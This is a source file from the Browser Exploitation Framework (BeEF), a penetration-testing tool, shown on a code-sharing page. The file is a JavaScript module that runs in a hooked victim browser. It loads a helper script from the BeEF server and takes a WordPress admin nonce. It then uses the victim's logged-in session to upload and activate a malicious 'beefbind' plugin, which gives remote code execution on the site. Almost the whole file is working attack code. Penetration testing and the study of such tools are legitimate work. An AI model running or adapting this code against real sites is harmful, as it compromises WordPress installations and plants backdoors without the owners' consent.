Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/wordpress/upload_rce_plugin/command.js
1154 views
1
/*
2
Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com
3
See the file 'doc/COPYING' for copying permission
4
5
This is a rewrite of the original module misc/wordpress_post_auth_rce.
6
7
Original Author: Bart Leppens
8
Rewritten by Erwan LR (@erwan_lr | WPScanTeam)
9
*/
10
11
beef.execute(function() {
12
beef_command_url = '<%= @command_url %>';
13
beef_command_id = <%= @command_id %>;
14
15
// Adds wp.js to the DOM so we can use some functions here
16
if (typeof get_nonce !== 'function') {
17
var wp_script = document.createElement('script');
18
19
wp_script.setAttribute('type', 'text/javascript');
20
wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');
21
var theparent = document.getElementsByTagName('head')[0];
22
theparent.insertBefore(wp_script, theparent.firstChild);
23
}
24
25
var wp_path = '<%= @wp_path %>';
26
var upload_nonce_path = '<%= @wp_path %>wp-admin/plugin-install.php?tab=upload';
27
var upload_plugin_path = '<%= @wp_path %>wp-admin/update.php?action=upload-plugin';
28
29
function upload_and_active_plugin(nonce) {
30
var boundary = "BEEFBEEF";
31
32
var post_data = "--" + boundary + "\r\n";
33
post_data += "Content-Disposition: form-data; name=\"_wpnonce\"\r\n";
34
post_data += "\r\n";
35
post_data += nonce + "\r\n";
36
post_data += "--" + boundary + "\r\n";
37
post_data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n";
38
post_data += "\r\n" + upload_nonce_path + "\r\n";
39
post_data += "--" + boundary + "\r\n";
40
post_data += "Content-Disposition: form-data; name=\"pluginzip\";\r\n";
41
post_data += "filename=\"beefbind.zip\"\r\n";
42
post_data += "Content-Type: application/octet-stream\r\n";
43
post_data += "\r\n";
44
post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload(@auth_key) %>";
45
post_data += "\r\n";
46
post_data += "--" + boundary + "--\r\n"
47
48
post_as_binary(
49
upload_plugin_path,
50
boundary,
51
post_data,
52
function(xhr) {
53
result = xhr.responseXML.getElementsByClassName('wrap')[0];
54
55
if (result == null) {
56
log('Could not find result of plugin upload in response', 'error');
57
}
58
else {
59
result_text = result.innerText;
60
61
if (/Plugin installed successfully/i.test(result_text)) {
62
//log('Plugin installed successfully, activating it');
63
64
// Get URL to active the plugin from response, and call it
65
// <div class="wrap">...<a class="button button-primary" href="plugins.php?action=activate&amp;plugin=beefbind%2Fbeefbind.php&amp;_wpnonce=d13218642e" target="_parent">Activate Plugin</a>
66
67
activation_tag = result.getElementsByClassName('button-primary')[0];
68
69
if (activation_tag == null) {
70
log('Plugin installed but unable to get activation URL from output', 'error');
71
}
72
else {
73
activation_path = '<%= @wp_path %>wp-admin/' + activation_tag.getAttribute('href');
74
75
get(activation_path, function(xhr) {
76
result_text = xhr.responseXML.getElementById('message').innerText;
77
78
if (/plugin activated/i.test(result_text)) {
79
log('Plugin installed and activated! - Auth Key: <%= @auth_key %>', 'success');
80
}
81
else {
82
log('Error while activating the plugin: ' + result_text, 'error');
83
}
84
});
85
}
86
}
87
else {
88
log('Error while installing the plugin: ' + result_text, 'error');
89
}
90
}
91
}
92
);
93
}
94
95
// Timeout needed for the wp.js to be loaded first
96
setTimeout(
97
function() {
98
get_nonce(
99
upload_nonce_path,
100
'_wpnonce',
101
function(nonce) { upload_and_active_plugin(nonce) }
102
)
103
},
104
300
105
);
106
});
107
108
109